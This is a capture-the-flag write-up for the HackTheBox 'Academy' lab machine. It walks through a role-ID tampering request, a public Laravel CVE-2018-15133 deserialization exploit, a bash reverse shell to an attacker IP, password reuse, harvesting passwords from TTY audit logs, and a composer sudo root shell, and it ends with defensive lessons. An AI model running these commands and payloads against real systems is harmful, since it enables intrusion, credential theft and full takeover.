Academy - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Academy is an easy difficulty Linux machine that features an Apache server hosting the HTB Academy learning platform. The initial foothold is gained by manipulating the role ID parameter during user registration to access an admin portal, which reveals a Laravel staging server. The staging application runs Laravel with debug mode enabled, leaking the API key and allowing deserialization RCE via CVE-2018-15133. Post-exploitation reveals Laravel environment files containing database credentials that work for the cry0l1t3 user. As a member of the adm group, cry0l1t3 can read audit logs containing TTY input, revealing the password for user mrb3n. Finally, mrb3n has sudo privileges for composer, which can be abused to execute arbitrary commands as root.

TL;DR: Register with modified role ID → Access admin panel → Find Laravel staging vhost → Exploit Laravel deserialization RCE → Extract database password → Lateral move via password reuse → Read TTY audit logs → Escalate with composer sudo privilege.

Reconnaissance

Port Scanning

# Initial full port scan
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.215 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed service enumeration on discovered ports
nmap -p$ports -sC -sV 10.10.10.215

Results:

Service Enumeration

HTTP Service (Port 80):

The website redirects to http://academy.htb, requiring a hosts file entry:

echo "10.10.10.215 academy.htb" >> /etc/hosts

The site features “Login” and “Register” pages. After registration and login, the application displays HTB Academy modules with limited functionality.

Directory Enumeration:

# Clone and install dirsearch
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
pip3 install -r requirements.txt

# Run directory brute force
python3 dirsearch.py -u http://academy.htb/

The scan reveals an interesting /admin.php endpoint that requires elevated privileges to access.

Vulnerability Assessment

1. Insecure Role ID Parameter - The registration endpoint accepts a roleid parameter that can be modified to gain admin access
2. Debug Mode Enabled - Laravel staging server has APP_DEBUG=TRUE exposing sensitive information
3. Laravel Deserialization RCE - CVE-2018-15133 affecting the leaked API key
4. Credential Reuse - Database credentials work for system users
5. Overpermissioned sudo - User has composer execution as root

Initial Foothold

Exploitation Path

Step 1: Bypass Admin Panel via Role ID Manipulation

Register a new account while intercepting the request in Burp Suite:

POST /register.php HTTP/1.1
Host: academy.htb
Content-Type: application/x-www-form-urlencoded

uid=testuser2&password=password123%40&confirm=password123%40&roleid=0

Modify the roleid parameter from 0 to 1:

uid=testuser2&password=password123%40&confirm=password123%40&roleid=1

Forward the request. Now login with these credentials and access /admin.php successfully. The admin panel displays an “Academy Launch Planner” referencing a staging server at dev-staging-01.academy.htb.

Step 2: Add Staging Vhost and Discover Laravel Debug Mode

echo "10.10.10.215 dev-staging-01.academy.htb" >> /etc/hosts

Navigate to the staging vhost. A Laravel debug error page is displayed, indicating APP_DEBUG=TRUE. Scroll down to the “Environment Variables” section to find:

APP_KEY=dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=

Step 3: Exploit Laravel Deserialization (CVE-2018-15133)

Clone and prepare the exploitation script:

git clone https://github.com/aljavier/exploit_laravel_cve-2018-15133
cd exploit_laravel_cve-2018-15133/
pip3 install -r requirements.txt

Run the exploit in interactive mode:

python3 pwn_laravel.py http://dev-staging-01.academy.htb/ \
  dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= --interactive

Obtain initial command execution. Execute a command to verify:

id

Step 4: Upgrade to Reverse Shell

Set up a listener on the attacker machine:

nc -lvnp 4444

From the semi-interactive shell, execute:

bash -i >& /dev/tcp/10.10.14.3/4444 0>&1

Upgrade to a fully interactive shell:

python3 -c 'import pty;pty.spawn("/bin/bash");'
# Press CTRL+Z
stty raw -echo
fg
# Press RETURN

Privilege Escalation

Lateral Movement to cry0l1t3

Step 1: Extract Database Credentials

Examine the Laravel .env files on the compromised web server:

cat /var/www/html/academy/.env

Output reveals:

DB_USERNAME=academy
DB_PASSWORD=mySup3rP4s5w0rd!!

Step 2: Password Reuse Attack

Enumerate system users:

cat /etc/passwd

Attempt to switch to the cry0l1t3 user with the leaked password:

su cry0l1t3
# Password: mySup3rP4s5w0rd!!

Verify group membership:

id
# Output: uid=1001(cry0l1t3) gid=1001(cry0l1t3) groups=1001(cry0l1t3),4(adm)

The user is a member of the adm group, allowing audit log access.

Lateral Movement to mrb3n

Step 1: Query TTY Audit Logs

Use the aureport utility to extract TTY input logs:

aureport --tty

The report contains hex-encoded TTY input. Look for entries containing password patterns. Decoding reveals:

mrb3n_Ac@d3my!

Step 2: Switch to mrb3n

su mrb3n
# Password: mrb3n_Ac@d3my!

Privilege Escalation via Composer

Step 1: Check Sudo Privileges

sudo -l

Output:

User mrb3n may run the following commands on academy:
    (ALL) /usr/bin/composer

Step 2: Exploit Composer RCE

Composer allows arbitrary command execution via the “scripts” property in composer.json. Create a malicious composer.json:

TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' > $TF/composer.json
sudo composer --working-dir=$TF run-script x

This spawns an interactive root shell. Capture both flags:

cat /root/root.txt
cat /home/cry0l1t3/user.txt

Attack Chain Summary

Register Account (roleid=0)
  ↓
Modify roleid Parameter to 1
  ↓
Login to Admin Panel
  ↓
Discover dev-staging-01.academy.htb
  ↓
Find Laravel APP_KEY in Debug Mode
  ↓
Exploit CVE-2018-15133 Deserialization RCE
  ↓
Extract Database Credentials from .env
  ↓
Lateral Move to cry0l1t3 (Password Reuse)
  ↓
Read TTY Audit Logs (adm group)
  ↓
Obtain mrb3n Password
  ↓
Escalate via Composer sudo
  ↓
Root Access

Tools Used

Key Learnings

Techniques Practiced

• Web parameter manipulation (role ID bypass)
• HTTP request interception with Burp Suite
• Laravel framework exploitation and debug mode enumeration
• PHP object deserialization attacks
• Cryptographic payload generation (AES-256-CBC with HMAC)
• System user enumeration and password reuse attacks
• Linux audit log analysis (aureport and TTY input logging)
• Sudo privilege abuse via package manager scripts
• Reverse shell establishment and TTY upgrade

Lessons Learned

1. Always test parameter modification - The roleid parameter seemed innocuous but directly controlled access levels, demonstrating the importance of fuzzing all user-supplied inputs.

2. Debug mode is dangerous in production - Leaving Laravel’s debug mode enabled exposed the API key, which was the single point of failure. This should never reach staging or production.

3. Credential reuse is pervasive - Database passwords found in application configuration files often match system user passwords, making lateral movement trivial.

4. Audit logs contain sensitive data - TTY input logging reveals passwords typed during su sessions. Administrators should understand what data audit logging captures.

5. Overpermissioned sudo entries are critical - Running package managers with sudo is extremely risky, as their script execution capabilities provide direct code execution as root.

6. Defense in depth matters - This chain required multiple vulnerabilities: insecure parameter handling + debug mode + credential reuse + audit misconfiguration + sudo misconfiguration. Fixing any single point would have stopped the attack.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>